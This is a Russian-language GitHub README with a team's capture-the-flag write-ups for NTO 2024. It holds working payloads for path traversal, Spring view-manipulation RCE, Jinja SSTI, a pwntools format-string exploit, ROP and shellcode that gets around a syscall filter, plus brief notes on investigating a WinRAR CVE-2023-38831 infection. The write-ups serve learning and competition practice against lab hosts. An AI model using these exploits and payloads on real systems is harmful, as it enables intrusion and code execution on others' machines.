Skip to content

maximxlss/nto-2024-xls-team

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

45 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

NTO-2024-xls-team


Решение I части:

Task solves

web1

Сначала открываем инструменты разработчика, смотрим и находим строку:

<a href="/download?file_type=file1.txt">20</a>

Переходим по ссылке http://192.168.12.10:5001/download?file_type=file1.txt и получаем hint:

Hint_1 maybe in etc/secret ???

Понимаем, что скорее всего нужно применить Path Fuzzing. Ищем, находим подобные уязвимости и делаем запрос:

http://192.168.12.10:5001/download?file_type=/../../etc/secret

Получаем flag из файла secret: nto{P6t9_T77v6RsA1}

web 2

Смотрим иходный код, понимаем, что всё зависит от файла password.txt и его нужно удалить/изменить, чтобы /login нас впустил. После нескольких часов гуглерства находим статью:
https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability.
Используем уязвимость:
http://192.168.12.13:8090//doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22rm%20password.txt%22)%7D__::.x..
После вводим: http://192.168.12.13:8090/login?password=password, радуемся, что получили flag.

flag: nto{abobovichasdfas}

web3

Пробуем разные способы обойти прокси, получаем: http://192.168.12.11:8001//flag?name=a.
Пробуем разные SSTI пейлоады, узнаем, что это jinja, собираем пейлоад:
http://192.168.12.11:8001//flag?name={{request.__init__.__globals__.__builtins__[%22open%22](%22./flag.txt%22).read()}}

flag: nto{Ht1P_sM088Lin6_88Ti}

crypto2

По исходному коду понимаем, что нужно восстановить тайное число FLAG (закодированный текст) по известным эллиптической кривой E в кольце целых чисел по модулю p (простое число), генератору G и результату P = G * FLAG. Иными словами, задача на дискретное логарифмирование. В общем случае задача слишком сложна, но в задаче все параметры геренируются случайно, а значит можно подобрать такую кривую, порядок которой будет иметь достаточно небольшие делители и, переведя задачу в подгруппу с таким порядком, получить (перебором) FLAG по некоему модулю. Получив достаточно таких результатов по разным модулям, восстановим FLAG через китайскую теорему об остатках.

Полноценный скрипт решения (использует sagemath и PyCryptodome) прилагается

flag: nto{50mb0dy_45k3d_m3_f0r_d1scr3t3_l0g_2}

pwn1

Используем Ghidra для декомпиляции программы, видим format string vulnerability. Генерируем пейлоад, меняющий функцию exit в plt на функцию win, при помощи pwntools. Читем флаг: cat flag

from pwn import *

context.log_level = 'debug'
context.bits = 64


addr = 0x404018
value = 0x401156

payload = fmtstr_payload(6, {addr : value})

# con = process("./main")
con = remote("192.168.12.13", 1923)

con.send(payload + b"\n")

con.interactive()

flag: nto{easy_formt_string}

pwn 2

Дизассемблируем файл с помощью Ghidra. Программа читает 500 байт на стек. Можно переписать адрес возврата.
image
Также есть строка "/bin/bash"
image
И rwx память после функции (с адреса 0x41000 до 0x42000), большая часть которой - байты 0x00. 0x00, 0x00 дизассемблируется как add [rax], al. Также по адресу 0x41013 есть гаджет add byte ptr [rax], al; syscall; ret и по адресу 0x41018 - pop rax; ret.

Переполнив адрес возврата, поместим значение 0x410c3 в регистр rax, затем вызовем гаджет add byte ptr [rax], al; syscall; ret (syscall не нужен, но он не мешает) и по адресу 0x410c3 запишем инструкцию ret. До неё идёт много байтов 0x00, которые означают инструкцию add [rax], al.

С помощью этого можно модифицировать некоторые байты в памяти и составить необходимый ROP-гаджет. Для этого я написал genpb.py и gennpb.py. Первый рассчитвает количество раз, которое надо вызвать add [rax], al чтобы преобразовать байт из нуля в нужное число (это не всегда возможно, в этом случае возвращается -1).

Второй скрипт делает аналогичные операции для 2-х файлов и печатает результаты в формате, подходящем для вставки в Python-код. Аргументы командной строки: ./gennpb.py <target_bytes> <start_addr> <curr_bytes>.
target_bytes - требуемая последовательность байт (файл) start_addr - последний байт адреса, с которого начинается запись
curr_bytes - Текущее состояние байт (файл), можно указать Nulls если это байты 0x00.

Напишем код на ассемблере, который загружает значения со стека в регистры rax, rdi, rsi, rdx и переходит по адресу rax:

sc_shell.nasm:

BITS 64

pop rax
pop rdi
pop rsi
pop rdx
nop
jmp rax

nop нужен для того, чтобы было возможно записать данные в память выше описанным способом, а инструкцию syscall записать этим способом невозможно, поэтому используется jmp.

При этом инициализируем rax адресом 0x41018, rdi - адресом строки "/bin/bash", rsi и rdx - нулём. Затем программа перейдёт на pop rax, где в rax будет помещено значение 59 (сискол execve) и будет возврат на инструкцию syscall.

Эксплоит находится в splo.py (требуется pwntools)
Чаще всего требуется запустить много раз, так как с достаточно большим шансом в используемой rwx-памяти оказывается байт, не равный нулю, из-за этого инструкции записываются некорректно и происходит segfault.

Получаем шелл и читаем /flag.

flag: nto{sropsropsroplazy}

pwn3

Исследуем данный файл, понимаем: файл читает некие байты, судя по выводу подразумевается шеллкод, но не похоже, чтобы он корректно исполнялся. Через дебаггер и ghidra разбираем, что наш ввод после манипуляций расставляется по два байта между относительными прыжками. Таким образом, шеллкод ограничен до двух байт на инструкцию. Можно подобрать такую конструкцию для записи произвольных байт (в том же буфере, что и изначальный шеллкод):

mov bl, {нужный байт}
mov byte [rax], bl
xor al, {i ^ (i + 1)}

Затем можно выполнить записанные байты, если предварительно сохранить rax:

push rax
nop ; для соотвествия границе в 2 байта
{запись}
ret

Таким образом, ограничение на размер инструкции снимается, но программа пишет в исполняемый буфер только ~180 байт, а значит можно записать только ~60 байт произвольного кода. К счастью, есть шеллкод для запуска /bin/sh, влезающий в ограничения. К сожалению, в данной программе оказываются заблокированы большинство сисколлов, в том числе и exec/execve. Шеллкод для чтения файлов не влезает, так что ищем обход. Находим наш шеллкод на стеке и копируем нужную его часть в наш исполняемый буфер:

cld
mov rcx, 256
mov rdi, rax
lea rsi, [rbp + 0x9c]
rep movsd
jmp rax

Так, ограничение на размер шеллкода поднято до ~1800 байт. Для листинга директорий используем незапрещенный сисколл getdents, для чтения файлов - read:

BITS 64
global _start

section .text

_start:
jmp _push_filename
  
_readfile:
; syscall open file
pop rdi
xor byte [rdi + {длина filename}], 0x41
  
xor rax, rax
add al, 2
xor rsi, rsi
syscall

; read/getdents
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff
xor rax, rax
; add al, 78 ; добавить для getdents
syscall
  
; syscall write to stdout
xor rdi, rdi
add dil, 1
mov rdx, rax
xor rax, rax
add al, 1
syscall
  
; syscall exit
xor rax, rax
add al, 60
syscall
  
_push_filename:
call _readfile
path: db "/filenameA"

Находим файл this_is_flag, читаем. Связанные скрипты в ./pwn3/.

flag: nto{N0_execve_D03SnT_m34n_n0_PWN}

Решение II части:

Задание 1

Изначально вредоносный файл был получен по электронной почте. Это была рассылка отправленная с адреса [email protected] на адрес нашей жертвы [email protected].

Задание 2

Полезная нагрузка была скачана с сервера http://95.169.192.220:8080. Мы нашли эту информацию в логах Windows (eventvwr.msc)

Задание 3

Вирусный файл был скачан с почты. Жертва загрузила его и открыла в winrar. Вирус был запущен после открытия pdf file из-за уязвимости CVE-2023-38831.


Team members:

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Contributors 4

  •  
  •  
  •  
  •